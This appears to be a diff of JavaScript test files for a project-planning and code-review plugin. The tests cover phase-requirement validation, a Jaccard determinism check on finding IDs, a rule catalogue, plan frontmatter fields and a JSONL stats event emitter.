const r = checkPhaseRequirements({ brief: 'x', plan: null }, 'execute');
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'PROJECT_NO_PLAN'));
});
test('checkPhaseRequirements — happy path', () => {
const r = checkPhaseRequirements({ brief: 'x', plan: 'y' }, 'plan');
assert.equal(r.valid, true);
});
test('discoverProject — finds review.md when present', () => {
const root = setupProject({
'brief.md': 'b',
'review.md': 'r',
});
try {
const a = discoverProject(root);
assert.equal(a.review, join(root, 'review.md'));
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('discoverProject — review null when absent', () => {
const root = setupProject({
'brief.md': 'b',
});
try {
const a = discoverProject(root);
assert.equal(a.review, null);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('checkPhaseRequirements — review phase needs brief (error) and tolerates missing progress (warning)', () => {
// Missing brief → error
const r1 = checkPhaseRequirements({ brief: null, progress: null }, 'review');
assert.equal(r1.valid, false);
assert.ok(r1.errors.find(e => e.code === 'PROJECT_NO_BRIEF'));
// Has brief, no progress → valid (with warning)
const r2 = checkPhaseRequirements({ brief: 'x', progress: null }, 'review');
assert.equal(r2.valid, true, JSON.stringify(r2));
assert.ok(r2.warnings.find(w => w.code === 'PROJECT_NO_PROGRESS'));
// Has both → valid, no warning
const r3 = checkPhaseRequirements({ brief: 'x', progress: 'p' }, 'review');
assert.equal(r3.valid, true);
assert.equal(r3.warnings.length, 0);
});

View file

@ -0,0 +1,69 @@
// tests/lib/review-determinism.test.mjs
// SC4 determinism floor — Jaccard pipeline test.
//
// Reads two synthetic review-run fixtures (A ⊂ B), parses their findings
// arrays from frontmatter, and asserts:
// 1. Jaccard(A, B) ≥ 0.70 (the SC4 brief threshold)
// 2. every finding-ID is 40-char hex (matches lib/parsers/finding-id.mjs format)
// 3. no duplicate IDs within either run
//
// This test exercises the Jaccard PIPELINE on a known input. It does NOT
// measure real-LLM determinism — that is deferred to v1.1, see
// tests/fixtures/trekreview/README.md.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { readFileSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
import { jaccardSimilarity } from '../../lib/parsers/jaccard.mjs';
import { parseDocument } from '../../lib/util/frontmatter.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
const HEX_ID_RE = /^[0-9a-f]{40}$/;
const SC4_THRESHOLD = 0.70;
function loadFindings(rel) {
const text = readFileSync(join(ROOT, rel), 'utf-8');
const doc = parseDocument(text);
assert.ok(doc.valid, `frontmatter of ${rel} did not parse: ${(doc.errors || []).map(e => e.message).join(', ')}`);
const findings = doc.parsed.frontmatter && doc.parsed.frontmatter.findings;
assert.ok(Array.isArray(findings), `frontmatter.findings of ${rel} is not an array`);
return findings;
}
test('review determinism — Jaccard of fixture run-A vs run-B meets SC4 threshold (0.70)', () => {
const a = loadFindings('tests/fixtures/trekreview/review-run-A.md');
const b = loadFindings('tests/fixtures/trekreview/review-run-B.md');
const jaccard = jaccardSimilarity(a, b);
assert.ok(
jaccard >= SC4_THRESHOLD,
`Jaccard(A, B) = ${jaccard} < ${SC4_THRESHOLD} (SC4 threshold). ` +
`Fixtures may have drifted — recompute IDs via lib/parsers/finding-id.mjs.`,
);
});
test('review determinism — finding IDs are 40-char hex', () => {
for (const rel of ['tests/fixtures/trekreview/review-run-A.md', 'tests/fixtures/trekreview/review-run-B.md']) {
const findings = loadFindings(rel);
for (const id of findings) {
assert.ok(
typeof id === 'string' && HEX_ID_RE.test(id),
`${rel}: ID ${JSON.stringify(id)} is not a 40-char lowercase hex string`,
);
}
}
});
test('review determinism — no duplicate IDs within run', () => {
for (const rel of ['tests/fixtures/trekreview/review-run-A.md', 'tests/fixtures/trekreview/review-run-B.md']) {
const findings = loadFindings(rel);
assert.strictEqual(
new Set(findings).size,
findings.length,
`${rel}: contains duplicate finding-IDs (${findings.length} entries vs ${new Set(findings).size} unique)`,
);
}
});

View file

@ -0,0 +1,54 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
RULE_CATALOGUE,
RULE_KEYS,
SEVERITY_VALUES,
CATEGORY_VALUES,
getRule,
} from '../../lib/review/rule-catalogue.mjs';
test('RULE_CATALOGUE — every entry has all 4 required fields', () => {
for (const entry of RULE_CATALOGUE) {
assert.ok(typeof entry.rule_key === 'string' && entry.rule_key.length > 0, `bad rule_key: ${entry.rule_key}`);
assert.ok(typeof entry.severity === 'string' && entry.severity.length > 0, `bad severity: ${entry.severity}`);
assert.ok(typeof entry.category === 'string' && entry.category.length > 0, `bad category: ${entry.category}`);
assert.ok(typeof entry.description === 'string' && entry.description.length > 0, `bad description for ${entry.rule_key}`);
}
});
test('RULE_CATALOGUE — no duplicate rule_key', () => {
const seen = new Set();
for (const entry of RULE_CATALOGUE) {
assert.ok(!seen.has(entry.rule_key), `duplicate rule_key: ${entry.rule_key}`);
seen.add(entry.rule_key);
}
assert.equal(seen.size, RULE_CATALOGUE.length);
});
test('RULE_CATALOGUE — all severity values within enum', () => {
for (const entry of RULE_CATALOGUE) {
assert.ok(SEVERITY_VALUES.includes(entry.severity), `${entry.rule_key} has invalid severity: ${entry.severity}`);
}
});
test('RULE_CATALOGUE — all category values within enum', () => {
for (const entry of RULE_CATALOGUE) {
assert.ok(CATEGORY_VALUES.includes(entry.category), `${entry.rule_key} has invalid category: ${entry.category}`);
}
});
test('RULE_KEYS.size === RULE_CATALOGUE.length (== 12) — pinned by doc-consistency', () => {
assert.equal(RULE_KEYS.size, RULE_CATALOGUE.length);
assert.equal(RULE_CATALOGUE.length, 12);
});
test('getRule — returns frozen entry on hit, null on miss, null on bad input', () => {
const hit = getRule('UNIMPLEMENTED_CRITERION');
assert.ok(hit !== null);
assert.equal(hit.severity, 'BLOCKER');
assert.throws(() => { hit.severity = 'MINOR'; }); // frozen
assert.equal(getRule('NOPE'), null);
assert.equal(getRule(undefined), null);
assert.equal(getRule(123), null);
});

View file

@ -0,0 +1,63 @@
// tests/lib/source-findings.test.mjs
// SC3(b) structural test for Handover 6.
//
// The brief requires `plan.md` produced from a `type: trekreview` brief to
// contain `source_findings: [<id>, ...]` in its frontmatter. Without an
// automated test, SC3(b) is unverified.
//
// This test exercises the STRUCTURAL contract:
// 1. plan-validator accepts a plan with source_findings (additive optional field)
// 2. frontmatter parser extracts source_findings as an array of strings
// 3. each ID is 40-char hex (matches lib/parsers/finding-id.mjs format)
//
// LLM behavior (the planner actually emitting source_findings when it consumes
// a review.md) is non-testable without live invocation — this test only covers
// the schema half.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { readFileSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
import { parseDocument } from '../../lib/util/frontmatter.mjs';
import { validatePlan } from '../../lib/validators/plan-validator.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
const FIXTURE = join(ROOT, 'tests/fixtures/trekreview/plan-with-source-findings.md');
const HEX_ID_RE = /^[0-9a-f]{40}$/;
test('plan-validator accepts plan.md with source_findings field', () => {
const result = validatePlan(FIXTURE, { strict: true });
assert.ok(
result.valid,
`plan-validator rejected synthetic plan with source_findings: ` +
`${(result.errors || []).map(e => `[${e.code}] ${e.message}`).join('; ')}`,
);
});
test('frontmatter parser extracts source_findings as array of strings', () => {
const text = readFileSync(FIXTURE, 'utf-8');
const doc = parseDocument(text);
assert.ok(doc.valid, `frontmatter did not parse: ${(doc.errors || []).map(e => e.message).join(', ')}`);
const sf = doc.parsed.frontmatter && doc.parsed.frontmatter.source_findings;
assert.ok(Array.isArray(sf), `frontmatter.source_findings is not an array (got ${typeof sf})`);
assert.ok(sf.length > 0, 'frontmatter.source_findings is empty — fixture should carry at least one ID');
for (const id of sf) {
assert.strictEqual(typeof id, 'string', `source_findings entry is not a string: ${JSON.stringify(id)}`);
}
});
test('source_findings IDs match the format from finding-id.mjs (40-char hex)', () => {
const text = readFileSync(FIXTURE, 'utf-8');
const doc = parseDocument(text);
const sf = doc.parsed.frontmatter.source_findings;
for (const id of sf) {
assert.ok(
HEX_ID_RE.test(id),
`source_findings ID ${JSON.stringify(id)} is not 40-char lowercase hex ` +
`(format produced by lib/parsers/finding-id.mjs computeFindingId)`,
);
}
});

View file

@ -0,0 +1,158 @@
// tests/lib/stats-event-emit.test.mjs
// Cover lib/stats/event-emit.mjs:
// - emit appends a JSONL line with required ISO-8601 ts
// - known_event flag distinguishes recognized vs unknown events
// - missing CLAUDE_PLUGIN_DATA does NOT throw (stats must never block)
// - CLI shim parses --payload JSON and writes via emit()
// - concurrent appends don't corrupt the file (smoke test)
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { execFileSync } from 'node:child_process';
import { mkdtempSync, rmSync, readFileSync, existsSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { tmpdir } from 'node:os';
import { fileURLToPath } from 'node:url';
import { emit, buildRecord, resolveStatsPath, KNOWN_EVENTS } from '../../lib/stats/event-emit.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const SHIM = join(HERE, '..', '..', 'lib', 'stats', 'event-emit.mjs');
const ISO_8601_RE = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;
function tmp(prefix = 'stats-event-emit-') {
return mkdtempSync(join(tmpdir(), prefix));
}
test('KNOWN_EVENTS contains plan-v2 spec set', () => {
for (const e of ['brief-approved', 'main-merge-gate', 'user_input']) {
assert.ok(KNOWN_EVENTS.has(e), `missing recognized event: ${e}`);
}
});
test('buildRecord emits ISO-8601 ts (REQUIRED per SC4)', () => {
const r = buildRecord('brief-approved', { foo: 1 });
assert.match(r.ts, ISO_8601_RE);
assert.equal(r.event, 'brief-approved');
assert.equal(r.known_event, true);
assert.deepEqual(r.payload, { foo: 1 });
});
test('buildRecord marks unrecognized events known_event: false', () => {
const r = buildRecord('totally-made-up-event');
assert.equal(r.known_event, false);
assert.deepEqual(r.payload, {});
});
test('buildRecord rejects empty event name', () => {
assert.throws(() => buildRecord(''), TypeError);
assert.throws(() => buildRecord(null), TypeError);
});
test('emit appends one JSONL line per call', () => {
const dir = tmp();
try {
const path = join(dir, 'stats.jsonl');
const r1 = emit('brief-approved', { ok: true }, { path });
const r2 = emit('main-merge-gate', { branch: 'main' }, { path });
assert.equal(r1.written, true);
assert.equal(r2.written, true);
const lines = readFileSync(path, 'utf-8').trim().split('\n');
assert.equal(lines.length, 2);
const a = JSON.parse(lines[0]);
const b = JSON.parse(lines[1]);
assert.match(a.ts, ISO_8601_RE);
assert.match(b.ts, ISO_8601_RE);
assert.equal(a.event, 'brief-approved');
assert.equal(b.event, 'main-merge-gate');
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('emit creates the stats directory on demand', () => {
const dir = tmp();
try {
const path = join(dir, 'nested', 'stats.jsonl');
const r = emit('user_input', {}, { path });
assert.equal(r.written, true);
assert.ok(existsSync(path));
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('emit with no CLAUDE_PLUGIN_DATA returns { written: false } (silent skip)', () => {
const r = emit('brief-approved', {}, { env: {} });
assert.equal(r.written, false);
assert.equal(r.path, null);
assert.match(r.reason, /CLAUDE_PLUGIN_DATA unset/);
});
test('emit never throws when stats path is unwritable', () => {
// Pointing at a path under a non-existent dir on a readonly mount would
// be brittle in CI; instead, force the env-resolved path to be empty
// and confirm no exception leaks.
let threw = false;
try { emit('user_input', { foo: 'bar' }, { env: {} }); }
catch { threw = true; }
assert.equal(threw, false);
});
test('resolveStatsPath honors CLAUDE_PLUGIN_DATA env var', () => {
const r = resolveStatsPath({ CLAUDE_PLUGIN_DATA: '/var/data/plugin' });
assert.equal(r, '/var/data/plugin/trekexecute-stats.jsonl');
assert.equal(resolveStatsPath({}), null);
});
test('CLI shim writes via emit when CLAUDE_PLUGIN_DATA is set', () => {
const dir = tmp();
try {
execFileSync(process.execPath, [
SHIM, '--event', 'brief-approved', '--payload', '{"foo":42}',
], {
env: { ...process.env, CLAUDE_PLUGIN_DATA: dir },
encoding: 'utf-8',
});
const path = join(dir, 'trekexecute-stats.jsonl');
assert.ok(existsSync(path));
const line = readFileSync(path, 'utf-8').trim();
const parsed = JSON.parse(line);
assert.equal(parsed.event, 'brief-approved');
assert.deepEqual(parsed.payload, { foo: 42 });
assert.match(parsed.ts, ISO_8601_RE);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('CLI shim with malformed --payload returns reason payload-not-json (exit 0)', () => {
const r = execFileSync(process.execPath, [
SHIM, '--event', 'user_input', '--payload', 'not-json{{',
], { encoding: 'utf-8' });
const parsed = JSON.parse(r.trim());
assert.equal(parsed.written, false);
assert.equal(parsed.reason, 'payload-not-json');
});
test('concurrent appends do not corrupt JSONL (smoke)', async () => {
const dir = tmp();
try {
const path = join(dir, 'stats.jsonl');
const N = 25;
await Promise.all(
Array.from({ length: N }, (_, i) =>
Promise.resolve().then(() => emit('user_input', { i }, { path })),
),
);
const lines = readFileSync(path, 'utf-8').trim().split('\n');
assert.equal(lines.length, N);
for (const l of lines) {
const parsed = JSON.parse(l); // throws if any line is corrupt
assert.ok('ts' in parsed);
assert.equal(parsed.event, 'user_input');
}
} finally {
rmSync(dir, { recursive: true, force: true });
}
});